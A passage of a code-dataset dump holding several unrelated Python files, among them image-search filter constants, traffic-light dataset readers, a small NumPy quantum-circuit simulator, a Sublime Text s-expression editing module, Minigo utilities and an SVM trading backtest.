'ic:specific,isc:red',\n 'orange': 'ic:specific,isc:orange',\n 'yellow': 'ic:specific,isc:yellow',\n 'green': 'ic:specific,isc:green',\n 'teal': 'ic:specific,isc:teel',\n 'blue': 'ic:specific,isc:blue',\n 'purple': 'ic:specific,isc:purple',\n 'pink': 'ic:specific,isc:pink',\n 'white': 'ic:specific,isc:white',\n 'gray': 'ic:specific,isc:gray',\n 'black': 'ic:specific,isc:black',\n 'brown': 'ic:specific,isc:brown'\n}\n\ncolor_type_params = {\n 'full-color': 'ic:color',\n 'black-and-white': 'ic:gray',\n 'transparent': 'ic:trans',\n}\n\nusage_rights_params = {\n 'labeled-for-reuse-with-modifications': 'sur:fmc',\n 'labeled-for-reuse': 'sur:fc',\n 'labeled-for-noncommercial-reuse-with-modification': 'sur:fm',\n 'labeled-for-nocommercial-reuse': 'sur:f',\n}\n\nsize_params = {\n 'large': 'isz:l',\n 'medium': 'isz:m',\n 'icon': 'isz:i',\n '>400*300': 'isz:lt,islt:qsvga',\n '>640*480': 'isz:lt,islt:vga',\n '>800*600': 'isz:lt,islt:svga',\n '>1024*768': 'visz:lt,islt:xga',\n '>2MP': 'isz:lt,islt:2mp',\n '>4MP': 'isz:lt,islt:4mp',\n '>6MP': 'isz:lt,islt:6mp',\n '>8MP': 'isz:lt,islt:8mp',\n '>10MP': 'isz:lt,islt:10mp',\n '>12MP': 'isz:lt,islt:12mp',\n '>15MP': 'isz:lt,islt:15mp',\n '>20MP': 'isz:lt,islt:20mp',\n '>40MP': 'isz:lt,islt:40mp',\n '>70MP': 'isz:lt,islt:70mp',\n}\n\ntype_params = {\n 'face': 'itp:face',\n 'photo': 'itp:photo',\n 'clipart': 'itp:clipart',\n 'line-drawing': 'itp:lineart',\n 'animated': 'itp:animated'\n}\n\ntime_params = {\n 'past-24-hours': 'qdr:d',\n 'past-7-days': 'qdr:w',\n 'past-month': 'qdr:m',\n 'past-year': 'qdr:y',\n}\n\naspect_ratio_params = {\n 'tall': 'iar:t',\n 'square': 'iar:s',\n 'wide': 'iar:w',\n 'panoramic': 'iar:xw',\n}\n\nformat_params = {\n 'jpg': 'ift:jpg',\n 'gif': 'ift:gif',\n 'png': 'ift:png',\n 'bmp': 'ift:bmp',\n 'svg': 'ift:svg',\n 'webp': 'webp',\n 'ico': 'ift:ico',\n 'raw': 'ift:craw'\n}\n","sub_path":"google_images_download/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"602801922","text":"import mongo\n\nwith open('phrases.list','r') as f:\n a = f.read().strip()\n\na = a.split('\\n')\nb = []\n\nfor line in a:\n if line.count('|') > 0:\n b.append(line)\n else:\n b[-1] += '\\n' + line\n\nb = [line for line in b if line.count('|') == 1]\nb = [tuple(x.split('|')) for x in b]\n\nfor x in b:\n clean = lambda x: x.strip().lower()\n defnName, meaning = x[0], x[1]\n\n defnName = clean(defnName)\n q = mongo.findDefn(defnName)\n if q:\n pass # don't update\n # mongo.updateDefn(defnName, meaning)\n # print(defnName + ' updated.')\n else:\n mongo.addDefn(defnName, meaning)\n print(defnName + ' added.')\n\n# with open('newphrases.list','w') as f:\n# for line in b:\n# f.write(line+'\\n')","sub_path":"misc/tests/bulk_import_phrases.py","file_name":"bulk_import_phrases.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"176075950","text":"import yaml\nfrom pathlib import PurePath, Path\nimport scipy.io as sio\nimport numpy as np\n\n\nclass ImageMetadata(object):\n def __init__(self, detections, image_path):\n self.detections = detections\n self.image_path = image_path\n\n\nclass TrafficLightDetection(object):\n green = 'Green'\n yellow = 'Yellow'\n red = 'Red'\n off = 'off'\n left = 'Left'\n right = 'Right'\n straight = 'Straight'\n\n def __init__(self, label, occluded, x_min, x_max, y_min, y_max):\n self.label = label\n self.occluded = occluded\n self.x_min = x_min\n self.x_max = x_max\n self.y_min = y_min\n self.y_max = y_max\n\n\nclass TrafficLightReader(object):\n def __init__(self, dataset_dir):\n self.dataset_dir = dataset_dir\n self.train_images = []\n self.test_images = []\n self.num_train_images = 0\n self.num_test_images = 0\n\n def convert_all_ground_truth_to_txt(self, name):\n test_truth_directory = Path(name + '_test')\n train_truth_directory = Path(name + '_train')\n\n if not test_truth_directory.exists():\n test_truth_directory.mkdir()\n if not train_truth_directory.exists():\n train_truth_directory.mkdir()\n\n self.convert_ground_truth_to_txt(test_truth_directory, False)\n self.convert_ground_truth_to_txt(train_truth_directory, True)\n\n def convert_ground_truth_to_txt(self, directory, is_train):\n image_list = self.train_images if is_train else self.test_images\n for image in image_list:\n image_name = PurePath(image.image_path).stem\n image_folder = PurePath(image.image_path).parents[0].stem\n with Path(PurePath(directory) / PurePath(image_folder + '_' + image_name + '.txt')).open('w') as f:\n for detection in image.detections:\n f.write('{} {} {} {} {}\\n'.format(\n detection.label, detection.x_min, detection.y_min, detection.x_max, detection.y_max).decode())\n\n\nclass BoschTrafficLightReader(TrafficLightReader):\n bosch_to_cyngn_class = {\n 'Green': TrafficLightDetection.green,\n 'Yellow': TrafficLightDetection.yellow,\n 'Red': TrafficLightDetection.red,\n 'GreenLeft': TrafficLightDetection.green + TrafficLightDetection.left,\n 'GreenRight': TrafficLightDetection.green + TrafficLightDetection.right,\n 'GreenStraight': TrafficLightDetection.green + TrafficLightDetection.straight,\n 'RedLeft': TrafficLightDetection.red + TrafficLightDetection.left,\n 'RedRight': TrafficLightDetection.red + TrafficLightDetection.right,\n 'RedStraight': TrafficLightDetection.red + TrafficLightDetection.straight,\n 'GreenStraightLeft': TrafficLightDetection.green + TrafficLightDetection.straight,\n 'GreenStraightRight': TrafficLightDetection.green + TrafficLightDetection.straight,\n 'RedStraightLeft': TrafficLightDetection.red + TrafficLightDetection.straight,\n 'RedStraightRight': TrafficLightDetection.red + TrafficLightDetection.straight,\n 'off': TrafficLightDetection.off}\n\n def load_images_from_metadata(self, metadata_path):\n with metadata_path.open() as metadata_file:\n metadata = yaml.load(metadata_file)\n self.num_train_images = len(metadata)\n\n for entry in metadata:\n self.train_images.append(ImageMetadata([\n TrafficLightDetection(\n self.bosch_to_cyngn_class[box['label']],\n box['occluded'],\n box['x_min'],\n box['x_max'],\n box['y_min'],\n box['y_max']\n ) for box in entry['boxes']], str(PurePath(self.dataset_dir) / entry['path'])))\n\n def __init__(self, dataset_dir):\n super(BoschTrafficLightReader, self).__init__(dataset_dir)\n\n self.train_metadata_path = Path(PurePath(dataset_dir) / 'train.yaml')\n self.test_metadata_path = Path(PurePath(dataset_dir) / 'test.yaml')\n\n self.load_images_from_metadata(self.train_metadata_path)\n self.load_images_from_metadata(self.test_metadata_path)\n\n\nclass WPITrafficLightReader(TrafficLightReader):\n test_traffic_light_sequences = range(1, 18)\n test_non_traffic_light_sequences = range(18, 24)\n train_traffic_light_types = ['GC', 'GA_left', 'GA_right', 'GA_up',\n 'GA_up_left', 'GA_up_right', 'GC_GA_left', 'GC_GA_right', 'RA_left', 'RC']\n wpi_to_cyngn_class = {\n 1: TrafficLightDetection.green + TrafficLightDetection.left,\n 2: TrafficLightDetection.green + TrafficLightDetection.right,\n 3: TrafficLightDetection.green + TrafficLightDetection.straight,\n 4: TrafficLightDetection.green,\n 5: TrafficLightDetection.red + TrafficLightDetection.left,\n 6: TrafficLightDetection.red\n }\n\n # TODO: be able to model light types such that one traffic light can emit multiple signals\n light_type_to_cyngn_class = {\n 'GC': TrafficLightDetection.green,\n 'GA_left': TrafficLightDetection.green + TrafficLightDetection.left,\n 'GA_right': TrafficLightDetection.green + TrafficLightDetection.right,\n 'GA_up': TrafficLightDetection.green + TrafficLightDetection.straight,\n 'GA_up_left': TrafficLightDetection.green + TrafficLightDetection.straight,\n 'GA_up_right': TrafficLightDetection.green + TrafficLightDetection.straight,\n 'GC_GA_left': TrafficLightDetection.green,\n 'GC_GA_right': TrafficLightDetection.green,\n 'RA_left': TrafficLightDetection.red + TrafficLightDetection.left,\n 'RC': TrafficLightDetection.red\n }\n\n def read_labels(self, path):\n annotations = sio.loadmat(path)['GroundTruth']\n annotations = np.concatenate(\n [annotation[0] for annotation in annotations], axis=0)\n annotations = annotations[annotations[:, 4].argsort()]\n annotations = np.split(annotations, np.where(\n np.diff(annotations[:, 4]))[0] + 1)\n return annotations\n\n def read_test_traffic_light_seqs(self):\n for i in self.test_traffic_light_sequences:\n annotations = self.read_labels(\n str(PurePath(self.dataset_dir) / 'test' / 'labels' / 'matlab' / 'label{}'.format(i)))\n\n for annotation in annotations:\n image_name = 'image.{:0>4d}.jpg'.format(annotation[0][4])\n detections = []\n for instance in annotation:\n detection = TrafficLightDetection(\n self.wpi_to_cyngn_class[instance[6]],\n False,\n instance[0],\n instance[0] + instance[2],\n instance[1],\n instance[1] + instance[3])\n detections.append(detection)\n\n self.test_images.append(ImageMetadata(detections, str(\n PurePath(self.dataset_dir) / 'test' / 'seq{}'.format(i) / image_name)))\n\n def read_test_non_traffic_light_seqs(self):\n for i in self.test_non_traffic_light_sequences:\n image_folder = Path(self.dataset_dir) / 'test' / 'seq{}'.format(i)\n for img in image_folder.glob('*.jpg'):\n self.test_images.append(ImageMetadata([], str(img.resolve())))\n\n def read_train_traffic_light_seqs(self):\n for light_type in self.train_traffic_light_types:\n annotations = self.read_labels(\n str(PurePath(self.dataset_dir) / 'train' / 'labels' / 'matlab' / light_type))\n\n for annotation in annotations:\n if light_type == 'RC' or light_type == 'NO_lights':\n image_name = 'image.{:0>5d}.jpg'.format(annotation[0][4])\n else:\n image_name = 'image.{:0>4d}.jpg'.format(annotation[0][4])\n detections = []\n for instance in annotation:\n detection = TrafficLightDetection(\n self.light_type_to_cyngn_class[light_type],\n False,\n instance[0],\n instance[0] + instance[2],\n instance[1],\n instance[1] + instance[3])\n detections.append(detection)\n self.train_images.append(ImageMetadata(detections, str(\n PurePath(self.dataset_dir) / 'train' / light_type / image_name)))\n\n def __init__(self, dataset_dir):\n super(WPITrafficLightReader, self).__init__(dataset_dir)\n self.read_test_traffic_light_seqs()\n self.read_test_non_traffic_light_seqs()\n self.read_train_traffic_light_seqs()\n","sub_path":"traffic_light_reader.py","file_name":"traffic_light_reader.py","file_ext":"py","file_size_in_byte":8780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"230771868","text":"import numpy as np\nimport math\n\ndef tensor(*operater):\n \"\"\"np.kron の拡張\"\"\"\n result = operater[0]\n for i in range(1, len(operater)):\n result = np.kron(result, operater[i])\n return result\n\n\n\"\"\"-------------量子状態クラスの定義---------------\"\"\"\nclass Qubits(object):\n def __init__(self, n_bits):\n \"\"\"\n 量子ビットの初期化\n Arguments: n_bits --- 量子ビット数(int)\n \"\"\"\n self.n_bits = n_bits # 量子ビット数\n self.n_states = 2**n_bits # 行数\n self._amp = np.zeros((self.n_states, 1)) # 絶対値の二乗をとると確率になる奴。超重要メンバ変数。\n self._amp[0,0] = 1 # 状態|00...0> の確率を1とする\n\n def set_bits(self, bits):\n \"\"\"\n 量子ビットの設定\n Arguments: bits --- 状態を表現するリスト ex).|0010> としたいなら [0,0,1,0]\n \"\"\"\n idx = int(''.join(map(str, bits)), base=2) # bits を文字列にして結合させ、その後十進数になおす\n self._amp = np.zeros((self.n_states, 1)) # 絶対値の二乗をとると確率になる\n self._amp[idx,0] = 1 # idx番目の amp を1とする\n \n def set_bit(self, k, num):\n \"\"\"\n 量子ビットの設定(1ビット)\n Arguments: k --- 設定したいビット番号\n num --- 0 or 1\n \"\"\"\n # ビットの部分測定を利用する\n # k番目が 0 か 1 かを指定\n # それぞれの場合の処理を行う ( ベイズの定理的処理 )\n k_matrix = np.array([[1,0],[0,0]]) # 第kビットが 0 なら k_matrix = |0><0| となる\n if num == 1: # 第kビットが 1 なら\n k_matrix = np.array([[0,0],[0,1]]) # k_matrix = |1><1| となる\n \n p_matrix = tensor(np.eye(2**k), k_matrix, np.eye(2**(self.n_bits-k-1))) @ self._amp\n p = self._amp.reshape((1, self.n_states)) @ p_matrix # 0 or 1 を観測する確率\n if p == 0:\n self._amp = tensor(np.eye(2**k), np.array([[0,1],[1,0]]), np.eye(2**(self.n_bits-k-1))) @ self._amp\n else:\n self._amp = p_matrix / np.sqrt(p) \n\n def measure(self):\n \"\"\"\n 量子ビットの観測\n \"\"\"\n amp_copy = self._amp.reshape((self.n_states)) # 下処理 self._amp から一次元配列をえる\n p = np.abs(amp_copy)**2 # amp_copy から観測確率を求める\n p = p/sum(p) # p の合計が1以上になったときの予防\n idx = np.random.choice(range(len(amp_copy)), p=p) # 適当に idx を決める。pは合計値が1となるlist\n self._amp = np.zeros((self.n_states, 1)) # self._amp をまっさらにして\n self._amp[idx,0] = 1 # 一つの状態に確定させる\n \n def measure_part(self, k):\n \"\"\"\n 量子ビットの部分的観測\n Arguments: k --- 測定したいビットの番号(int)\n \"\"\"\n # まず疑似的に全体を測定する\n # そして第kビットが 0 か 1 かを確認\n # それぞれの場合の処理を行う ( ベイズの定理的処理 )\n amp_copy = self._amp.reshape((self.n_states)) # 下処理 self._amp から一次元配列をえる\n p = np.abs(amp_copy)**2 # amp_copy から観測確率を求める\n p = p/sum(p) # p の合計が1以上になったときの予防\n idx = np.random.choice(range(len(amp_copy)), p=p) # 適当に idx を決める。pは合計値が1となるlist\n \n b_idx = format(idx, 'b') # b_idx は idx の二進数表記文字列\n k_matrix = np.array([[1,0],[0,0]]) # 第kビットが 0 なら k_matrix = |0><0| となる\n \n if k-(self.n_bits-len(b_idx))>=0 and b_idx[k-(self.n_bits-len(b_idx))]==\"1\": # 第kビットが 1 なら\n k_matrix = np.array([[0,0],[0,1]]) # k_matrix = |1><1| となる\n \n p_matrix = tensor(np.eye(2**k), k_matrix, np.eye(2**(self.n_bits-k-1))) @ self._amp\n p = self._amp.reshape((1, self.n_states)) @ p_matrix\n self._amp = p_matrix / np.sqrt(p) \n\n def apply(self, *operators):\n \"\"\"\n 量子ビットに演算子を適用\n Arguments: operators --- 行列表記の演算子(何個でも可)\n \"\"\"\n for op in operators:\n self._amp = op.dot(self._amp) # 演算子を左からかけていく\n \n def __str__(self):\n \"\"\"\n print時に呼び出される表示用メソッド\n Returns: [amp]|0010>\n \"\"\"\n return \" + \".join(\n (\"{}|{:0\" + str(self.n_bits) + \"b}>\").format(amp, i)\n for i, amp in enumerate(self._amp) if amp\n )\n\n\n\"\"\"--------------ここから下は演算子の定義---------------\"\"\"\n\ndef I(n_bits):\n return np.eye(2**n_bits)\n\ndef X(n_bits, target):\n return tensor(I(target), np.array([[0,1],[1,0]]), I(n_bits-target-1))\n\ndef H(n_bits, target):\n return tensor(I(target), np.array([[1,1],[1,-1]])/np.sqrt(2), I(n_bits-target-1))\n\ndef T(n_bits, target):\n T = np.array([[np.e**(1j*(np.pi/8)), 0], [0, np.e**(1j*(np.pi/8))]])\n return tensor(I(target), T, I(n_bits-target-1))\n\ndef SPIN(n_bits, target, spin):\n Spin = np.array([[np.e**(1j*(spin)), 0], [0, np.e**(1j*(spin))]])\n return tensor(I(target), Spin, I(n_bits-target-1))\n\ndef CNOT(n_bits, control, target):\n CNOT_zero = np.array([[1,0],[0,0]]) # 制御ビットが0の時 ( |0><0| を表している )\n CNOT_one = np.array([[0,0],[0,1]]) # 制御ビットが1の時 ( |1><1| を表している )\n \n CNOT_zero = tensor(I(control), CNOT_zero, I(n_bits-control-1))\n CNOT_one = tensor(I(control), CNOT_one, I(n_bits-control-1)) @ X(n_bits, target)\n \n return CNOT_zero + CNOT_one\n\ndef CU(n_bits, control, target, U):\n m,m = U.shape\n n = int(math.log(m,2))\n \n CU_zero = np.array([[1,0],[0,0]]) # 制御ビットが0の時 ( |0><0| を表している )\n CU_one = np.array([[0,0],[0,1]]) # 制御ビットが1の時 ( |1><1| を表している )\n \n CU_zero = tensor(I(control), CU_zero, I(n_bits-control-1))\n CU_one = tensor(I(control), CU_one, I(n_bits-control-1)) @ tensor(I(target), U, I(n_bits-target-n))\n \n return CU_zero + CU_one","sub_path":"works/quantum_shor/quantum_simulater.py","file_name":"quantum_simulater.py","file_ext":"py","file_size_in_byte":6916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"466646287","text":"import librosa, os, shutil, datetime\nimport librosa.display\nimport matplotlib.pyplot as plt\n\nfilename = os.getcwd() + \"/sound.wav\"\ny, sr = librosa.load(filename)\n\nplt.figure()\nplt.subplot(3, 1, 1)\nlibrosa.display.waveplot(y, sr=sr)\nplt.title(\"Sound Plot\")\n\nplt.savefig(\"image\", orientation='landscape')\n\n#Copy File to Uploads Folder with Date/Time\nnow = str(datetime.datetime.now())[:19]\nnow = now.replace(\":\",\"_\")\n\ndest = os.getcwd() + \"/uploads/\" + now + \".wav\"\nshutil.copy(filename, dest)\n","sub_path":"python/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"643629796","text":"# buscar temas de radiohead with listas.\n\n# variables dependientes.\n# Albumes.\nalbums = [\"Ok Computer\",\"Pablo Honey\",\"The Bends\"]\n\n# Temas en albumes.\nlist_0 = [\"Airbag\",\"Paranoid Android\",\"Subterranean Homesick Alien\",\"Exit Music (For a Film)\",\"Let Down\",\"Karma Police\",\"Fitter Happier\",\"Electioneering\",\"Climbing Up the Walls\",\"No Surprises\",\"Lucky\",\"The Tourist\"]\nlist_1 = [\"Creep\"] # only creep\nlist_2 = [\"Planet Telex\", \"The Bends\",\"High & Dry\",\"Fake Plastic Trees\",\"Bones\",\"(Nice Dream)\",\"Just\",\"My Iron Lung\",\"Bullet Proof...I Wish I Was\",\"Black Star\",\"Sulk\",\"Street Spirit (Fade Out)\"]\n\n# Comienzo del ciclo:\nwhile True:\n # ingreso de valores\n print(albums)\n search_album = input(\"ingrese el album que busca: \")\n\n# Comprobaciones\n # Ok Computer.\n if search_album == albums[0]:\n print(\"seleccionaste el mejor!\")\n searching = input(f\"averigua si esta el tema en {albums[0]}:\")\n if searching in list_0:\n print(f\"{searching} si esta en {albums[0]}\\n\")\n break\n else:\n print(f\"{searching} no esta en {album[0]}\\n\")\n continue\n\n # Pablo Honey.\n elif search_album == albums[1]:\n print(\"¿buscas creep?\")\n searching = input(f\"averigua si esta el tema en {albums[1]}:\")\n if searching in list_1:\n print(f\"{searching} si esta en {albums[1]}\\n\")\n continue\n else:\n print(f\"{searching} no esta en {albums[1]}\\n\")\n continue\n \n # The Bends. \n elif search_album == albums[2]:\n print(\"seleccionaste el más lento!\")\n searching = input(f\"averigua si esta el tema en {albums[2]}:\")\n if searching in list_2:\n print(f\"{searching} si esta en {albums[2]}\\n\")\n continue\n else:\n print(f\"{searching} no esta en {albums[2]}\\n\")\n continue\n \n else:\n continue","sub_path":"The_15_programs_of_the_apocalypse/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"436240685","text":"\nimport sys\n\nfrom setuptools import setup, find_packages\n\n\nif sys.version_info[0] == 2:\n mysql = 'MySQL-python'\nelse:\n mysql = 'PyMySQL'\n\n\nsetup(name='provoke',\n version='0.6.0',\n author='Ian Good',\n author_email='icgood@gmail.com',\n description='Lightweight, asynchronous function execution in Python '\n 'using AMQP.',\n packages=find_packages(),\n install_requires=['amqp', 'six'],\n extras_require={\n 'mysql': [mysql],\n },\n entry_points={\n 'provoke.workers': ['example = provoke.example.worker:register'],\n 'console_scripts': ['provoke = provoke.worker.main:main'],\n })\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"85251825","text":"from . import selectors\nfrom sublime import CLASS_WORD_START, Region\n\n\nOPEN = {\"(\": \")\", \"[\": \"]\", \"{\": \"}\"}\nCLOSE = {\")\": \"(\", \"]\": \"[\", \"}\": \"{\"}\n\n\nclass Sexp:\n absorb_selector = \"keyword.operator.macro | punctuation.definition.keyword | punctuation.definition.comment | constant.other.keyword\"\n\n def __init__(self, view, open_region, close_region):\n self.view = view\n self.open = self.absorb_macro_characters(open_region)\n self.close = close_region\n\n def __str__(self):\n return self.view.substr(self.extent())\n\n def extent(self):\n return Region(self.open.begin(), self.close.end())\n\n def is_empty(self):\n return self.open.end() == self.close.begin()\n\n def contains(self, point):\n return point >= self.open.end() and point <= self.close.begin()\n\n def absorb_macro_characters(self, region):\n begin = region.begin()\n\n if self.view.match_selector(begin - 1, self.absorb_selector):\n # Find the first point that contains a character other than a macro character or a\n # character that's part of a keyword\n boundary = (\n selectors.find(\n self.view, begin - 1, f\"- ({self.absorb_selector})\", forward=False\n )\n + 1\n )\n\n begin = max(boundary, 0)\n\n return Region(begin, region.end())\n\n def __eq__(self, other):\n return other and self.extent() == other.extent()\n\n\ndef find_open(view, start_point):\n point = start_point\n stack = 0\n\n while point > 0:\n char = view.substr(point - 1)\n\n if char in CLOSE and not selectors.ignore(view, point - 1):\n stack += 1\n point -= 1\n elif stack > 0 and char in OPEN and not selectors.ignore(view, point - 1):\n stack -= 1\n point -= 1\n elif stack == 0 and char in OPEN and not selectors.ignore(view, point - 1):\n return char, Region(point - 1, point)\n else:\n point -= 1\n\n return None, None\n\n\ndef find_close(view, start_point, close=None):\n point = start_point\n stack = 0\n max_point = view.size()\n\n if close is None:\n return None\n\n while point < max_point:\n char = view.substr(point)\n\n if char == CLOSE[close] and not selectors.ignore(view, point):\n stack += 1\n point += 1\n elif stack > 0 and char == close and not selectors.ignore(view, point):\n stack -= 1\n point += 1\n elif stack == 0 and char == close and not selectors.ignore(view, point):\n return Region(point, point + 1)\n else:\n point += 1\n\n\ndef matches_selector_pattern(view, start_point, patterns):\n point = start_point\n i = 0\n\n while i < len(patterns):\n if not view.match_selector(point + i, patterns[i]):\n return False\n\n i += 1\n\n return True\n\n\ndef has_macro_character_attached_to_sexp(view, point):\n patterns = [\n [\"keyword.operator.macro\", selectors.SEXP_BEGIN],\n [\"keyword.operator.macro\", \"keyword.operator.macro\", selectors.SEXP_BEGIN],\n [\n \"keyword.operator.macro\",\n \"keyword.operator.macro\",\n \"keyword.operator.macro\",\n selectors.SEXP_BEGIN,\n ],\n ]\n\n for pattern in patterns:\n if matches_selector_pattern(view, point, pattern):\n return True\n\n return False\n\n\ndef move_inside(view, point, edge):\n if not edge or selectors.inside_string(view, point):\n return point\n elif (edge is True or edge == \"forward\") and view.match_selector(\n point, selectors.SEXP_BEGIN\n ) or has_macro_character_attached_to_sexp(view, point):\n return view.find(r\"[\\(\\[\\{\\\"]\", point).end()\n elif (edge is True or edge == \"backward\") and view.match_selector(point - 1, selectors.SEXP_END):\n return point - 1\n else:\n return point\n\n\ndef innermost(view, start_point, edge=True):\n point = move_inside(view, start_point, edge)\n\n if selectors.inside_comment(view, point):\n return None\n elif selectors.inside_string(view, point):\n begin = selectors.find(\n view,\n point,\n \"punctuation.definition.string.begin - constant.character.escape\",\n forward=False,\n )\n\n end = selectors.find(\n view, point, \"punctuation.definition.string.end - constant.character.escape\"\n )\n\n # TODO: Is a string a sexp?\n return Sexp(view, Region(begin, begin + 1), Region(end, end + 1))\n else:\n char, open_region = find_open(view, point)\n\n if char:\n close_region = find_close(view, open_region.end(), close=OPEN.get(char))\n\n return Sexp(view, open_region, close_region)\n\n\ndef walk_outward(view, point, edge=True):\n sexp = innermost(view, point, edge=edge)\n\n while sexp:\n yield sexp\n sexp = innermost(view, sexp.open.begin(), edge=False)\n\n\ndef head_word(view, point):\n return view.substr(view.word(view.find_by_class(point, True, CLASS_WORD_START)))\n\n\ndef outermost(view, point, edge=True, ignore={}):\n previous = find_open(view, move_inside(view, point, edge))\n\n while previous[0] and point >= 0:\n current = find_open(view, point)\n\n if previous[0] and (\n not current[0] or (ignore and head_word(view, current[1].begin()) in ignore)\n ):\n open_region = previous[1]\n close_region = find_close(\n view, open_region.end(), close=OPEN.get(previous[0])\n )\n return Sexp(view, open_region, close_region)\n else:\n point = previous[1].begin()\n previous = current\n\n\nCYCLE_ORDER = {\"(\": \"[\", \"[\": \"{\", \"{\": \"#{\", \"#{\": \"(\"}\n\n\ndef cycle_collection_type(view, edit):\n for region in view.sel():\n point = region.begin()\n\n if not selectors.ignore(view, point):\n if view.match_selector(point, \"string\") or view.match_selector(\n point - 1, \"string\"\n ):\n edge = False\n else:\n edge = True\n\n sexp = innermost(view, point, edge=edge)\n\n if sexp:\n open_bracket = view.substr(sexp.open)\n new_open_bracket = CYCLE_ORDER[open_bracket]\n\n if new_open_bracket[-1:] in OPEN:\n new_close_bracket = OPEN[new_open_bracket[-1:]]\n view.replace(edit, sexp.close, new_close_bracket)\n view.replace(edit, sexp.open, new_open_bracket)\n","sub_path":"src/sexp.py","file_name":"sexp.py","file_ext":"py","file_size_in_byte":6576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"494623324","text":"# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Utilities for working with go games and coordinates\"\"\"\n\nfrom collections import defaultdict\nfrom contextlib import contextmanager\nimport functools\nimport itertools\nimport operator\nimport logging\nimport random\nimport re\nimport time\n\n\ndef parse_game_result(result):\n if re.match(r'[bB]\\+', result):\n return 1\n elif re.match(r'[wW]\\+', result):\n return -1\n else:\n return 0\n\n\ndef product(numbers):\n return functools.reduce(operator.mul, numbers)\n\n\ndef take_n(n, iterable):\n return list(itertools.islice(iterable, n))\n\n\ndef iter_chunks(chunk_size, iterator):\n iterator = iter(iterator)\n while True:\n next_chunk = take_n(chunk_size, iterator)\n # If len(iterable) % chunk_size == 0, don't return an empty chunk.\n if next_chunk:\n yield next_chunk\n else:\n break\n\n\ndef shuffler(iterator, pool_size=10**5, refill_threshold=0.9):\n yields_between_refills = round(pool_size * (1 - refill_threshold))\n # initialize pool; this step may or may not exhaust the iterator.\n pool = take_n(pool_size, iterator)\n while True:\n random.shuffle(pool)\n for i in range(yields_between_refills):\n yield pool.pop()\n next_batch = take_n(yields_between_refills, iterator)\n if not next_batch:\n break\n pool.extend(next_batch)\n # finish consuming whatever's left - no need for further randomization.\n yield from pool\n\n\n@contextmanager\ndef timer(message):\n tick = time.time()\n yield\n tock = time.time()\n print(\"%s: %.3f seconds\" % (message, (tock - tick)))\n\n\n@contextmanager\ndef logged_timer(message):\n tick = time.time()\n yield\n tock = time.time()\n print(\"%s: %.3f seconds\" % (message, (tock - tick)))\n logging.info(\"%s: %.3f seconds\" % (message, (tock - tick)))\n","sub_path":"reinforcement/tensorflow/minigo/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"382623534","text":"from datetime import datetime\nfrom tradingene.data.load import import_data\nfrom tradingene.algorithm_backtest.tng import TNG\nimport tradingene.backtest_statistics.backtest_statistics as bs\nfrom sklearn.svm import SVC\nimport numpy as np\n\n_lookback = 3 # How many prior candle bars each train sample embraces.\n_num_features = _lookback # The number of features. This depends on how you implement the \"calculate_input()\" function.\n# This time the number of features equals the \"lookback\" period.\n_lookforward = 1 # How far in the future the algorithm \"looks\" and foresees.\n_timeframe = 60 # The time frame.\n_ticker = \"btcusd\" # The ticker.\n_start_train_date = datetime(2018, 2, 25) # When a train period starts...\n_end_train_date = datetime(\n 2018, 3, 5) # When the train period ends and the test starts...\n_end_test_date = datetime(2018, 3, 15) # When the test ends...\n\n_alg = None # An instance of the \"TNG\" class used for simulated trading\n\n\ndef prepare_model():\n data = import_data(\n _ticker,\n _timeframe,\n _start_train_date,\n _end_train_date,\n calculate_input,\n _lookback,\n calculate_output,\n _lookforward,\n split=(\n 100, 0, 0\n ) # This time we need only a train set (100% for train set, 0% for test and validation ones)\n )\n\n # Creating an SVC model\n model = SVC(tol=1e-5, degree=5)\n\n # Reshaping the inputs to be passed into the \"fit\" function\n train_output = np.reshape(data['train_output'],\n (np.shape(data['train_output'])[0], ))\n\n # Training the model\n model.fit(data['train_input'], train_output)\n return model\n\n\n# end of load_data\n\n\ndef calculate_input(data):\n input_vec = np.zeros(_num_features) # A vector to store inputs\n for i in range(_lookback):\n input_vec[i] = 100.0 * (\n data['open'][i] - data['close'][0]) / data['close'][0]\n return input_vec\n\n\ndef calculate_output(data):\n if data['close'][_lookforward - 1] > data['open'][0] * 1.01:\n return 1\n elif data['close'][_lookforward - 1] * 1.01 < data['open'][0]:\n return -1\n else:\n return 0\n\n\ndef onBar(instrument):\n inp = calculate_input(\n instrument.rates[1:_lookback + 1]) # Calculating inputs\n prognosis = _model.predict([inp])[0] # Making prediction\n if prognosis > 0:\n _alg.buy()\n elif prognosis < 0:\n _alg.sell()\n\n\n# end of onBar()\n\n_model = prepare_model() # Creating an ML-model.\n_alg = TNG(\n _end_train_date,\n _end_test_date) # Creating an instance of environment to run algorithm in.\n_alg.addInstrument(_ticker) # Adding an instrument.\n_alg.addTimeframe(_ticker, _timeframe) # Adding a time frame.\n_alg.run_backtest(onBar) # Backtesting...\n\nstat = bs.BacktestStatistics(_alg) # Retrieving statistics of the 